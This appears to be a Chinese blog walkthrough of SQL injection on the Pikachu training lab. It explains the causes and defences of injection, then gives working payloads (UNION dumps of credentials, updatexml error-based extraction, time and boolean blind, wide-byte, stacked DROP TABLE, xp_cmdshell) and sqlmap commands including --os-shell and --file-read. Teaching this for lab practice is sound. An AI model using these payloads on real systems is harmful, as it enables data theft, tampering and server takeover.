pikachu靶场4-SQL注入
SQL注入
含义:是一种常见的网咯攻击手段,攻击者通过在输入字段或者请求中注入恶意的SQL语句,操控数据库执行目的以外的操作:
1.窃取敏感信息;
2.绕过身份验证;
3.修改/删除数据库内容;
4.执行系统命令等
工作原理:
1.输入验证不足:在web程序中没有对用户的输入进行正确的验证,用户可以在该输入字段中插入SQL代码;
2.SQL语句拼接:程序后端将用户的输入与SQL查询拼接在一起,形成完整的数据库查询语句;
3.执行恶意SQL:程序没有对输入进行过滤,清理或者转义,恶意SQL语句将被数据库服务器执行;
4.数据库泄露或者破坏:攻击者可以利用存在的SQL注入漏洞进行查询、修改或删除数据库中的数据,或是执行数据库管理的系统命令
常见SQL注入:
SQL语句:SELECT * FROM users WHERE username = 'user1' AND password = 'password1';
1.“--”:
注释符,将其后面的SQL语句注释掉
输入:
user:aaa'--
Passwd:任意
SELECT * FROM users WHERE username = 'aaa'--' AND password = 'password1';
2.字符型注入' or '1'='1,数字型注入or 1=1:1=1恒为真,可以绕过验证
SELECT * FROM users WHERE username = 'aaa 'or'1'='1' AND password = 'password1';
3.union联合查询:'UNION SELECT null,username,password FROMusers --
SELECT * FROM users WHERE username = ''UNION SELECT null,username,password FROMusers --' AND password = 'password1';
将会以users表的username和password作为数据结果返回
4.盲注:
无法直接获取查询结果,攻击者通过判断返回页面的响应(如布尔值或时间延迟)来逐步推测数据。
布尔型盲注:
SELECT * FROM users WHERE username = '' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') --';
Select database():尝试获取当前数据库名称
Substring( ,1,1)=’t’:判断数据库名称第一个字符是否为’t’
根据返回判断数据库名称首字母是否为t
时间盲注:
SELECT * FROM users WHERE username = '' AND IF(1=1, SLEEP(5), 0) --';
Sleep()用于延迟语句的执行时间
1=1恒成立,执行sleep(5)延迟语句5秒执行
不成立则立即执行(0)
5.堆叠查询注入:允许多条SQL语句同时执行
SELECT * FROM users WHERE username = ''; DROP TABLE users; --';
原查询(SELECT * FROM users WHERE username = '')执行后,会继续执行恶意语句,最终导致users表被删除。
6.存储过程注入:
利用存储过程的输入参数注入恶意 SQL
EXEC LoginProcedure 'username', ' '; EXEC xp_cmdshell('dir'); --'
利用存储过程(Login Procedure)的输入参数,拼接恶意SQL语句,通过;分隔,执行EXEC xp_cmdshell('dir'),xp_cmdshell()可调用系统命令,dir列出目录
7.Cookie注入:
修改浏览器的cookie值进行注入
Cookie: session_id=' OR '1'='1;
若拼接到SQL语句中,恶意cookie被解析后,SQL条件恒成立,可能导致未被授权访问、数据泄露等风险
危害
1.数据泄露: 攻击者获取数据库中的用户名、密码、银行卡号等敏感信息。
2.权限提升: 攻击者可能通过注入命令获得更高的访问权限。
3.数据篡改: 数据库内容被修改或删除。
4.服务中断: 恶意 SQL 代码可能导致数据库崩溃,影响系统可用性。
5.执行系统命令: 通过数据库扩展功能,攻击者可能直接操作操作系统
防范措施
SQL语句:SELECT * FROM users WHERE username = 'user1' AND password = 'password1';
1.参数化查询和预编译
核心原理
问题根源:普通的字符串拼接 SQL 语句会将用户输入直接解析为 SQL 代码,极易引发 SQL 注入攻击。
解决方案:参数化查询将 SQL 语句的结构与用户输入的数据完全分离。数据库会先预编译 SQL 模板,再安全地代入参数,从而彻底避免注入风险。
代码示例解析
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
? 是占位符,代表后续要传入的参数。
PreparedStatement 会预先编译 SQL 模板,确保参数仅作为数据处理,不会被解析为 SQL 命令。
这种方式不仅更安全,还能通过重复使用预编译的语句提升执行效率。
Node.js (MySQL 模块) 实现:
const query = "SELECT * FROM users WHERE username = ? AND password = ?";
connection.query(query, [username, password], (err, results) => {
if (err) throw err;
// Handle results
});
Node.js 的 MySQL 模块同样支持占位符语法。
参数通过数组形式传入,驱动会自动完成转义和安全注入,避免了手动拼接字符串的风险。
2.使用ORM框架
核心原理
ORM 框架会将编程语言中的对象与数据库表进行映射,自动生成和执行 SQL 语句。
它完全替代了手动拼接 SQL 的过程,从根源上减少了 SQL 注入的风险。
开发者只需操作对象,无需编写复杂的 SQL,大幅提升了开发效率。
javascript
// 使用 Sequelize
const user = await User.findOne({
where: { username: 'admin', password: 'password123' }
});
框架:代码中使用的是 Node.js 生态里的 Sequelize ORM。
逻辑:User.findOne() 方法会根据传入的条件对象,自动生成安全的SELECT查询语句。
安全性:框架内部会自动对where中的参数进行参数化处理,确保用户输入(即使是恶意输入)只会被当作数据,不会被解析为 SQL 命令。
3.输入验证
核心原理
提前拦截:在用户输入到达数据库层之前,就对其格式、长度、内容进行检查,拒绝不符合规则的输入。
白名单原则:只允许已知的、安全的字符或格式通过,而非试图去过滤所有可能的恶意字符(黑名单)。
转义特殊字符:对于必须保留的特殊字符,进行转义处理,使其失去在 SQL 中的特殊含义。
代码示例解析
javascript
const username = req.body.username.replace(/[^a-zA-Z0-9]/g, ''); // 清理特殊字符
正则表达式:/[^a-zA-Z0-9]/g 是一个 “否定” 字符类,匹配所有不是大小写字母或数字的字符。
作用:.replace() 方法会将所有匹配到的特殊字符替换为空字符串,从而彻底清除用户名中的潜在危险字符。
适用场景:适合对用户名、ID 等格式要求简单的字段进行清洗。
4.限制数据库权限
核心原理
最小权限原则:确保每个数据库用户只能执行其工作所需的最基本操作,绝不多赋予任何额外权限。
权限隔离:将不同操作(如读、写、管理)分配给不同的用户账号,避免一个账号泄露导致全库失控。
纵深防御:即使应用层被突破,攻击者也只能在被限制的权限内活动,无法执行DROP、ALTER等高风险操作。
代码示例解析
sql
-- 创建一个新的数据库用户
CREATE USER 'readonly_user'@'%' IDENTIFIED BY 'secure_password';
-- 授予该用户对指定数据库所有表的只读权限
GRANT SELECT ON database_name.* TO 'readonly_user'@'%';
CREATE USER:创建一个名为readonly_user的新用户,@'%'表示该用户可以从任何 IP 地址连接。
GRANT SELECT:仅授予该用户执行SELECT查询的权限,确保它只能读取数据,无法修改或删除数据。
database_name.*:将权限作用于database_name数据库下的所有表。
示例
1.数字型注入(POST)
判断
先进行抓包重放

测试是否存在数字型SQL注入的漏洞
当我们and 1=1时,网页并没有报错

当我们进行and 1=2时,它提示我们不存在这个用户,这时可以判断存在数字型的注入

接下可以使用order by来判断可进行的列
原理:order by会对列继续排序,当我们的输入超过实际列数时则会提醒该列不存在
测试3时报错

测试2时页面正常,说明有两列

接下来对每列显示位置进行查询
使用union进行联合查询

查询数据库和数据库的版本
Union select database(),version()

查询数据库所有表
Union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'
这时可以看到有一个users的敏感表单

查询users中所有表列
union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'
其中就包含了username以及对应的password

查询用户名和密码
union select group_concat(username),group_concat(password) from users

对密码进行md5解密得到密码明文

代码审计

2.字符型注入(GET)
判断
先尝试闭合字符
1'

说明存在字符型注入
尝试
' or '1'='1

接下来就是使用联合查询获取所有表
1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() --+&submit=查询

接着就是查看users表中的明杆信息了

3.搜索型注入
' or '1'='1

Sqlmap常用语法
Get型常用参数
-u:指定注入的URL sqlmap -u URL
--dbs:爆出所有数据库 sqlmap -u URL --dbs
--dbms:指定数据库类型 sqlmap -u URL --dbms=mysql
--users:查看数据库的所有用户 sqlmap -u URL --users
--current-user:查看数据库当前用户 sqlmap -u URL --current-user
--current-db:查看网站当前数据库 sqlmap -u URL --current-db
--is-dba:判断当前用户是否有管理员权限 sqlmap -u URL --is-dba
[11:57:52] [INFO] testing if current user is DBA
[11:57:52] [INFO] fetching current user
current user is DBA: True
--roles:列出数据库所有管理员角色,仅适用于oracle数据库 sqlmap -u URL --roles
--tables:爆出所有数据表 sqlmap -u URL -D 数据库名 --tables
--columns:爆出数据库表所有列 sqlmap -u URL -D 数据库名 -T 表名 --columns
--dump:爆出数据库中列中的所有数据 sqlmap -u URL -D 数据库名 -T 表名 -C 列名 --dump
--dump-all:爆出数据库中所有的数据 sqlmap -u URL -D 数据库名 -T 表名 --dump-all
--sql-shell:获取数据库shell sqlmap -u URL --sql-shell
--os-shell:获取服务器shell sqlmap -u URL --os-shell
--file-read:读取服务器文件 sqlmap -u URL --file-read "文件路径及名称"
--file-write 本地文件 --file-dist 目标文件路径及名称:将本地文件上传至目标服务器
--time-sec=2:延时注入 sqlmap -u URL --time-sec=2
--batch:探测过程中不进行询问,一律选择默认
-m:如果有多个url地址,可以把多个url保存成一个文本文件,-m可以加载文本文件逐个扫描
POST常用参数
-r:指定POST数据文件 sqlmap -r post.txt
--data:这种不需要将数据进行保存,只需要将post数据复制下来即可 sqlmap -u URL --data="post数据"
--forms:自动搜索表单的方式 sqlmap -u URL --forms
--cookie="抓取的cookie":测试cookie字段
--param-del:参数拆分字符,当GET型或POST型需要用其他字符分割测试参数的时候需要用到此参数,sqlmap -r post.txt --data="query=foorbar;id=1" --param-del
--referer:在请求中伪造http中的referer,当level参数设定为3或者3以上的时候会尝试对referer注入
--headers:增加额外的http头
--proxy:指定代理地址
-p:指定测试参数
先输入,复制URL

在sqlmap文件目录下打开cmd
python sqlmap.py

首先探测注入点
Python sqlmap.py -u “http://localhost/pikachu-master/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2”

成功探测出注入点,并且爆出了数据库的版本和类型

使用--dbs爆出库
python sqlmap.py -u "http://localhost/pikachu-master/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" --dbs

使用-D “库” --tables爆出pikachu数据库的表
python sqlmap.py -u "http://localhost/pikachu-master/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" -D “pikachu” --tables

--columns:爆出数据库表所有列 sqlmap -u URL -D 数据库名 -T 表名 --columns
python sqlmap.py -u "http://localhost/pikachu-master/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" -D "pikachu" -T "users" --columns

--dump:爆出数据库中列中的所有数据 sqlmap -u URL -D “数据库名” -T “表名” -C “列名”
python sqlmap.py -u "http://localhost/pikachu-master/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" -D "pikachu" -T "users" -C “password,username” --dump

4.XX型注入
所谓的xx型注入,就是输入的值可能被各种各样的符号包裹(单引号,双引号,括号等等)
判断
Sql:
' or '1'='1

Sql:
') OR 1=1 --

使用sqlmap跑


5.insert/update注入
--data:这种不需要将数据进行保存,只需要将post数据复制下来即可 sqlmap -u URL --data="post数据"
python sqlmap.py -u "http://localhost/pikachu-master/vul/sqli/sqli_iu/sqli_reg.php" --data "username=1&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit"
得到6个POST参数注入点

手动注入
数据库查询
使用update XML()报错注入
UpdateXML() 函数在解析 XPath 时遇到非法字符(-,由 0x7e 转义而来),会抛出包含查询结果的错误,间接的暴露了数据库名
username=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and'

查看数据库中的所有表
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and'

查看表的字段

查看数据
username=1'and updatexml(1,concat(0x7e,substr((select group_concat(id,':',username,':',password) from users),1,31),0x7e),1) and'
updatexml(1, 内容, 1) MySQL 报错函数,第二个参数非法时会抛出包含 “内容” 的错误
concat(0x7e, ..., 0x7e) 拼接 ~(0x7e 是 ~ 的十六进制),让报错信息更易识别
substr(...,1,31) 截取查询结果的前 31 位(updatexml 最多显示 32 位,留 1 位给 ~)
select group_concat(...) from users查询 users 表中所有 id、用户名、密码并拼接成字符串


6.Datadelete
进行任意输入检查源码发现删除有一个id参数

开始抓包点击跳转
这时发现数据包中有一个id参数,可以利用这个参数进行报错注入


这里需要注意的,所有空格都会编译,要将空格都换为+,参数部分显示红色的
接下来就是查看数据库所有表
+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),1)
查看字段
+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name='users'),0x7e),1)
然后查看数据了
+and+updatexml(1,concat(0x7e,substr((select+group_concat(id,':',username,':',password)+from+users),1,31),0x7e),1)

7.http header注入
正常登录进行抓包,放行第一个,留第二个

对user-agent头进行报错注入获取数据库名
1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

接下就是查看库的所有表,查看表的字段,然后查看表的数据了
8.盲注(布尔型)
使用sqlmap爆出数据库
python sqlmap.py -u "http://localhost/pikachu-master/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbs

--columns:爆出数据库表所有列 sqlmap -u URL -D 数据库名 -T 表名 --columns
python sqlmap.py -u
--dump:爆出数据库中列中的所有数据 sqlmap -u URL -D “数据库名” -T “表名” -C “列名”
python sqlmap.py -u
代码审计

将用户可控参数直接拼接到sql语句中,没有进行任何的过滤或者拼接
9.盲注(时间)
使用sleep()函数进行测试判断是否存在SQL漏洞
Sql:
kobe' and sleep(3) #

当我们开始注入时,延迟了3秒才返回响应

无论用户如何注入但都是显示同样的提示,没有办法通过提示判断是否存在漏洞
这时可以通过使用sleep()进行服务器延迟响应判断是否存在漏洞
10.宽字节注入
原理:宽字节注入利用Unicode编码中的特性,将特殊字符转换为双字节字符,绕过输入过滤和检查,从而执行恶意的SQL查询
输入抓包,找到注入点
name=1%df' union select version(),database() --+

查找到数据库名,接着就是
查表
name=1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
查字段,使用十六进制绕过
name=1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆出数据
name=1%df' union select group_concat(username),group_concat(password) from pikachu.users --+


更多推荐
所有评论(0)